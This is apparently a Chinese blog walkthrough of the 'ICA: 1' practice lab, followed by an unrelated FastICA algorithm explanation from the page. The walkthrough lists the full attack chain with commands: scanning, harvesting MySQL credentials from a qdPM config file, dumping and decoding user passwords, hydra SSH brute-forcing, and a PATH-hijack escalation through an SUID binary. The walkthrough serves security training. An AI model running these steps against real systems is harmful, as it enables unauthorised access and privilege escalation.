ICA: 1 靶场详细教学

目录

简介

信息收集

0x01 主机发现

0x02 端口扫描

0x03 目录爆破

漏洞利用

0x04 查找poc

0x05 进入数据库

提权

0x06 内网信息收集 

0x07 提权 

总结

简介

        该靶场前期考验的是我们的信息收集能力,通过信息收集找到一个框架的漏洞,再通过该漏洞进入数据库,找到远程连接ssh的账号密码,通过hydra爆破确认账号密码,内网部分是通过信息收集,主要是通过靶场给的提示去进一步找到文件,然后通过自己创建一个具有权限的文档,达到提权的目的。(有能力的小伙伴可以跟我小编的概述先自己去做一遍,不懂得再去看提升可能会更大哦!)

kali主机:192.168.1.58

靶机:192.168.1.18

信息收集

0x01 主机发现

发现靶机可以使用多种方式,这边举例三种
arp-scan -l      
netdiscover -r 192.168.1.1/24              #当前网段
nmap -sP 192.168.1.1/24                    #当前网段 

 

0x02 端口扫描

nmap -sV -T5 -p- -A 192.168.1.18

登入80端口,发现是一个登入界面

 在登入界面中发现下面存在qdPM 9.2的信息

0x03 目录爆破

其实这一步可以不要,这边是使用两种方法去做一个信息收集,上面我们得到那个框架信息我们就可以直接去找漏洞,也就是可以直接跳到漏洞利用部分。

dirb http://192.168.1.18

 把爆破的目录可以都去看看,这边我们主要是看core文件下的config文件里面的databases.yml

 发现mysql的账号密码

账号:qdpmadmin
密码:UcVQCMQk2STVeS6J

 

漏洞利用

0x04 查找poc

上面我们发现qdPM 9.2的信息,我们可以在msf去寻找他的漏洞

searchsploit qdPM 9.2                                        #查询该漏洞
locate php/webapps/50176.txt                                 #查询漏洞poc位置
cp /usr/share/exploitdb/exploits/php/webapps/50176.txt .     #复制该漏洞到当前位置
cat 50176.txt                                                #查看poc

0x05 进入数据库

发现一条默认地址,我们可以访问(上面我们爆破出来了,咱们就直接利用了)

mysql -uqdpmadmin -pUcVQCMQk2STVeS6J -h 192.168.1.18
show databases;
use staff
show tables;
select * from user;
select * from login;

 发现密码是加密的,这里我们直接通过base64解密

账号:
meyer
dexter
travis
lucas
smith

密码:(解密后)
suRJAdGwLp8dy3rF
7ZwV4qtg42cmUXGX
X7MQkP3W29fewHdC
cqNnBWCByS2DuJSy
DJceVy98W28Y7wLg

 把他们分别放入users.txt和passwd.txt后,使用hydra爆破。

hydra -L users.txt -P passwd.txt 192.168.1.18 ssh

爆破出两组账号密码
[22][ssh] host: 192.168.1.18   login: dexter   password: 7ZwV4qtg42cmUXGX
[22][ssh] host: 192.168.1.18   login: travis   password: DJceVy98W28Y7wLg

 使用ssh连接

提权

0x06 内网信息收集 

第一个连接travis,连接后发现有个flag,并没有其他可以利用的信息,sudo也不能提权,我们直接跳过到第二个。

ICA{Secret_Project}

登入到dexter

发现一个note.txt

It seems to me that there is a weakness while accessing the system.
As far as I know, the contents of executable files are partially viewable.
I need to find out if there is a vulnerability or not.

 这个时候我们要去寻找一些执行文件,我们通过find去找

 find / -perm -4000 2>/dev/null

 通过验证,发现第一个是存在利用点的

strings get_access 

0x07 提权 

这个时候我们发现cat我们调用不了,我们需要自己创建一个。

创建cat时发现其他目录环境不能写入进去,我们得进入/home里去执行。

cd /home 
echo "/bin/bash" > /tmp/cat            #写一个假的cat
export PATH=/tmp:$PATH                 #将当前目录写入到环境
chmod +x /tmp/cat                      #给cat权限
echo $PATH                             #查看有没有写入成功
/opt/get_access                        #执行

 提权成功,去到root目录下找到第二个fiag

 

总结

涉及知识点:

1.信息收集

2.漏洞的查找和利用

收获:这个靶场相对而言是比较简单的,主要是信息收集占大部分时间,利用漏洞点也比较好理解,希望小伙伴可以好好消化里面的知识点。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
FastICA(Fast Independent Component Analysis)算法是一种基于最大独立性的盲源分离算法,用于从混合信号中提取出独立的信号成分。它是一种高效、快速、可靠的算法,并已成功应用于信号处理、图像处理、语音识别等领域。以下是FastICA算法的详细求解过程: 假设我们有 $m$ 个观测信号 $x_1,x_2,\cdots,x_m$,这些信号是从 $n$ 个独立源信号 $s_1,s_2,\cdots,s_n$($n \leq m$)通过某种线性混合方式得到的,即: $$ x = As $$ 其中,$x$ 是 $m$ 维观测信号向量,$s$ 是 $n$ 维源信号向量,$A$ 是 $m \times n$ 的混合矩阵。FastICA算法的目标是求解出 $A$ 和 $s$。 FastICA算法的基本步骤如下: 1. 中心化观测信号:将观测信号 $x$ 中每个维度的数值减去该维度所有数值的平均数,即: $$ x_{c,i} = x_i - \frac{1}{N}\sum_{j=1}^{N} x_{j,i} $$ 其中,$x_{c,i}$ 是中心化后的观测信号,$N$ 是观测信号的个数,$x_{j,i}$ 是第 $j$ 个观测信号的第 $i$ 个维度的数值。 2. 随机初始化权重向量 $w$:选择一个 $n$ 维列向量 $w$,并归一化,即: $$ w = \frac{w}{\|w\|} $$ 其中,$\|w\|$ 表示向量 $w$ 的模长。 3. 计算 $w$ 的变化量 $\Delta w$:根据最大独立性原理,$w$ 的变化方向应该是 $x$ 经过 $w$ 投影后最不“高斯”的方向,即: $$ \Delta w = E\{xg(wx)\} - E\{g'(wx)\}w $$ 其中,$g(x)$ 是一个非线性函数,用于将高斯化的信号变为非高斯化的信号,常用的非线性函数包括 $tanh$ 函数和 $exp$ 函数等;$g'(x)$ 是 $g(x)$ 的导数;$E\{\cdot\}$ 表示期望值。由于 $w$ 是单位向量,为了满足这个条件,我们可以通过Gram-Schmidt正交化方法来得到 $\Delta w$: $$ \Delta w = E\{xg(wx)\} - \sum_{i=1}^{k-1}(E\{xg(w_i^Tx)\})w_i $$ 其中,$w_i$ 是已经求得的 $i$ 个权重向量,$k \leq n$。 4. 更新权重向量 $w$:根据 $\Delta w$ 的方向来更新 $w$,即: $$ w_{new} = \frac{\Delta w}{\|\Delta w\|} $$ 5. 判断是否收敛:如果 $w_{new}$ 和 $w$ 的夹角小于一个给定的阈值,或者迭代次数达到了预定的最大值,那么就认为算法已经收敛,停止迭代;否则,重复步骤3到步骤5,直到收敛。 6. 重复步骤2到步骤5,直到求得所有的独立分量。 通过以上的步骤,我们可以得到混合矩阵 $A$ 和源信号向量 $s$。其中,混合矩阵 $A$ 可以通过如下公式得到: $$ A = W^{-1} $$ 其中,$W$ 是 $n \times n$ 的矩阵,每一列是一个权重向量 $w$。源信号向量 $s$ 可以通过如下公式得到: $$ s = A^{-1}x $$ 需要注意的是,FastICA算法并不能保证求得的独立分量是唯一的。因此,在实际应用中,需要进行后续处理,例如使用聚类算法进行分类或者通过人工选择合适的分量。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

心"元"意“码”

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值